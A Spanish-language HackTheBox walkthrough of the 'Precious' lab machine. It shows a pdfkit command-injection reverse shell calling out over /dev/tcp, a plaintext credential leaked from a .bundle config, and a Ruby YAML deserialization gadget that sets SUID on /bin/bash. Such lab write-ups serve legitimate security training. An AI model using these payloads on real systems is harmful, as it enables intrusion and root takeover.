Precious - HackTheBox

Precious

Reconocimiento 🔎


Como siempre realizamos un pequeño escaneo de puertos rápido con el siguiente comando buscando cualquier puerto abierto.

nmap -p- 10.10.11.189

image

Continuamos con un escaneo más avanzado de estos puertos.

sudo nmap -sV -p 22,80 10.10.11.189

image

Ahora vamos a configurar nuestro fichero /etc/hosts para poder ver el servicio http.

image

Nos dirigimos hacia la web y vamos a poder ver que la web es un convertidor web a pdf.

image

Así que para probarlo vamos a lanzar un servidor web en nuestra máquina local a través de python.

python3 -m http.server 80

image

Así que ahora vamos a probar introduciendo la IP de la máquina atacante en el servicio web de la máquina víctima.

image

Y como podemos ver se ha convertido nuestra web en un PDF como se esperaba, así que vamos a descargar el PDF para analizarlo con la herramienta exiftool.

image

Vemos que ha sido generado por una herramienta: pdfkit v0.8.6. La cuál si hacemos una búqueda en Google, podemos ver que es vulnerable a Command Injection.

image

Tras informarme más sobre este CVE, podemos saber que tenemos que introducir el parametro name y dentro usar los backticks para inyectar nuestro comando.



Explotación 🔑


Vamos a probar si funciona el exploit mencionado anteriormente:

http://10.10.14.46/?name=%20`pwd`

image
Y vemos que funciona correctamente.

image

Así manos a la obra. Este será el payload que voy a introducir:

http://10.10.14.46/?name=%20`/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.46/4747 0>&1'`

Antes de lanzar el payload vamos abrir un listener con netcat:

nc -nvlp 4747


Ejecutamos el payload y ya tendriamos acceso a la máquina víctima.

image

Tenemos acceso al usuario ruby pero no existe ningún fichero para ejecutar como root, así que vamos a pivotar al usuario henry mediante el fichero config en el directorio .bundle que he encontrado.

ruby@precious:/var/www/pdfapp$ cd ~
cd ~
ruby@precious:~$ ls -la
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 May  3 06:34 .
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 May  3 06:34 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ ls -al .bundle 
ls -al .bundle
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
drwxr-xr-x 4 ruby ruby 4096 May  3 06:34 ..
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
ruby@precious:~$ cat .bundle/config
cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Accedemos al usuario henry mediante ssh:

ssh henry@10.10.11.189 

image
Ahora pasamos a la siguiente fase para terminar con el CTF.



Escalada de Privilegios 🚀


Ya teniendo acceso al usuario henry el siguiente paso sería escalar los privilegios a root.

Vamos a listar fichero que se ejecuta como root dentro del usuario henry:

image

Obtenemos el fichero update_dependencies.rb que podemos ejecutarlo como usuario root. Vamos a echarle un vistazo.

image

Mirando el código veo que utiliza un YAML.load, cuál es vulnerable a ataques de deserialización YAML.

Puedes ver más sobre ataques de deserialización YAML en el siguiente enlace:
https://github.com/DevComputaria/KnowledgeBase/blob/master/pentesting-web/deserialization/python-yaml-deserialization.md

Ahora podemos explotar con nuestro fichero dependencies.yml.

image

dependencies.yml

- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve


Ejecutar el fichero con permisos de ejecución root.

image

Y ya con esto tenemos el usuario root a nuestra disposición. Y poder conseguir la FLAG.

image



Espero que te haya servido de ayuda este post. Me ayudarías mucho si lo compartes en tus RRSS, GRACIAS!